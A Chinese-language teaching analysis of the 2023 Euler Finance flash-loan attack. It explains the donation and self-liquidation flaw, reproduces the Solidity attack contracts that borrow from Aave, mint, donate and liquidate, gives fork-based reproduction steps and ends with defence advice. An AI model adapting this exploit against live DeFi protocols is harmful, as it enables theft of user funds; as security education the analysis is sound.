Euler Finance闪电贷攻击分析复现
字数 1856 2025-08-18 11:36:53
Euler Finance闪电贷攻击分析与复现教学文档
1. 事件概述
2023年3月,Euler Finance遭受闪电贷攻击,损失约1.97亿美元。攻击者利用协议中的清算逻辑漏洞,通过精心设计的攻击路径实现了巨额获利。
2. 攻击基本信息
- 消息来源:PeckShield Inc.在Twitter上的报告
- 攻击交易:0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d
- 合约地址:0x27182842E098f60e3D576794A5bFFb0777E025d3
- ABI获取:api.etherscan.io/api?module=contract&action=getabi&address=0x27182842E098f60e3D576794A5bFFb0777E025d3&format=raw
3. 漏洞原理分析
3.1 核心漏洞
攻击利用了Euler Finance协议中的捐赠机制导致转换率计算错误的问题。具体来说:
- 攻击者通过捐赠大量eDAI扭曲了兑换率
- 这使得清算逻辑计算出现错误
- 攻击者能够以极低成本清算自己的头寸
3.2 关键点
- 捐赠机制:攻击者向储备金捐赠大量eDAI,人为操纵了兑换率
- 清算逻辑缺陷:协议未能正确处理捐赠后的资产价值计算
- 自清算:攻击者创建两个账户互相清算,利用扭曲的兑换率获利
4. 攻击详细步骤
4.1 攻击流程
-
闪电贷准备:
- 通过Aave V2闪电贷借贷3000万DAI
-
账户设置:
- 创建两个账户:0x583c(借款人)和0xa0b3(清算人)
- 向借款人转账3000万DAI
-
存款操作:
- 借款人存入2000万DAI
- 铸币1.95亿eDAI/2亿dDAI
-
还款操作:
- 借款人偿还1000万DAI,dDAI余额减少1000万
- 再次发行1.95亿eDAI/2亿dDAI
-
捐赠操纵:
- 借款人捐赠1亿eDAI扭曲兑换率
-
清算操作:
- 清算人清算借款人,获得3.1亿eDAI
- 从eDAI撤回3890万DAI
-
还款获利:
- 偿还闪电贷
- 最终获利约887万DAI
4.2 资金流向分析
Address Change In Value
0xA0b3ee897f233F385E5D61086c 277,068,339.8872 USD
0xeBC29199C817Dc47BA12E3F8610 9,779,854.7674 USD
Aave: aDAI Token V2 26,703.0000 USD
0x464C71f6c2F760DdA6093dCB91C 0.0366 USD
0x583c21631c48D442B5C0E605d6 0.0000 USD
Euler -8,806,557.7674 USD
0x00000000000000000000000000 -277,068,339.9238 USD
5. 攻击代码分析
5.1 主合约结构
contract Main {
DAI dai = DAI(0x6B175474E89094C44Da98b954EedeAC495271d0F);
Euler euler = Euler(0x27182842E098f60e3D576794A5bFFb0777E025d3);
AAVE aave = AAVE(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
address owner;
address[] tokens;
uint256[] nums1;
uint256[] nums2;
function excuteHack() public {
tokens.push(address(dai));
nums1.push(30000000000000000000000000); // 3000万DAI
nums2.push(0);
aave.flashLoan(address(this), tokens, nums1, nums2, address(this), hex"", 0);
}
// 闪电贷回调函数
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
LendContract lendcontract = new LendContract(address(this));
dai.approve(address(aave), type(uint256).max);
dai.transfer(address(lendcontract), nums1[0]);
lendcontract.exp();
return true;
}
}
5.2 借贷合约攻击逻辑
function exp() public {
liquidationContract liquidation_C = new liquidationContract(address(this), mainContractAddress);
dai.balanceOf(address(this));
dai.approve(address(euler), type(uint256).max);
// 存款2000万DAI
edai.deposit(0, 20000000000000000000000000);
// 铸币2亿dDAI
edai.mint(0, 200000000000000000000000000);
// 偿还1000万DAI
ddai.repay(0, 10000000000000000000000000);
// 再次铸币2亿dDAI
edai.mint(0, 200000000000000000000000000);
// 捐赠1亿eDAI扭曲兑换率
edai.donateToReserves(0, 100000000000000000000000000);
// 执行清算
liquidation_C.exp();
}
5.3 清算合约逻辑
function exp() public {
PROXY.LiquidationOpportunity memory s = PROXY.LiquidationOpportunity({
repay: 0,
yield: 0,
healthScore: 0,
baseDiscount: 0,
discount: 0,
conversionRate: 0
});
// 检查清算机会
s = proxy.checkLiquidation(address(this), lendcontractAddress, address(dai), address(dai));
// 执行清算
proxy.liquidate(lendcontractAddress, address(dai), address(dai), s.repay, 250000000000000000000000000);
// 提取3890万DAI
edai.withdraw(0, 38900000000000000000000000);
// 转回主合约
dai.transfer(address(MainAddress), 38900000000000000000000000);
}
6. 本地复现指南
6.1 环境准备
-
分叉主网:
- 使用BuildBear创建从区块16817993分叉的私有测试网
- Home - BuildBear
-
获取测试币:
- 通过水龙头获取BB测试币
- 示例水龙头:Faucet - BuildBear
6.2 部署与执行
-
编译合约:
- 使用Remix编译攻击合约
- 完整代码:EulerHack.sol
-
部署合约:
- 在私有测试网上部署攻击合约
- 示例部署地址:0x7D503BFB8c5D3645145093A2df82aB66a0fCEce9
-
执行攻击:
- 调用
excuteHack()函数启动攻击流程 - 交易示例:0xb2265424ab09523af2ea083af6479b954ddcbd61311f1221770f9082b9b3ea9d
- 调用
-
提取利润:
- 调用
getdai()函数提取获利 - 交易示例:0x7133db82d0215a7a14cde775d5b5268c65de0c1de58dc6a86ac5c21194b1503f
- 调用
6.3 预期结果
- 攻击完成后应获得约887万DAI利润
- DAI合约地址:0x6B175474E89094C44Da98b954EedeAC495271d0F
7. 防御建议
-
捐赠机制改进:
- 限制捐赠对兑换率的影响
- 添加捐赠冷却期或上限
-
清算逻辑加固:
- 增加清算前的健康检查
- 防止自清算攻击
-
监控机制:
- 监控大额捐赠行为
- 设置异常兑换率警报
-
测试覆盖:
- 增加对极端情况的测试用例
- 特别是涉及捐赠和清算的组合操作
8. 参考资料
- PeckShield攻击分析:Twitter Thread
- Euler Finance官方回应:Twitter
- 完整攻击分析:BuildBear Labs
- 相关新闻报道:Cointelegraph
9. 总结
Euler Finance闪电贷攻击展示了DeFi协议中清算机制设计的重要性。攻击者通过精心设计的捐赠和自清算操作,利用协议中的兑换率计算漏洞实现了巨额获利。此事件强调了DeFi协议需要全面考虑各种极端情况,特别是涉及多个功能交互的场景。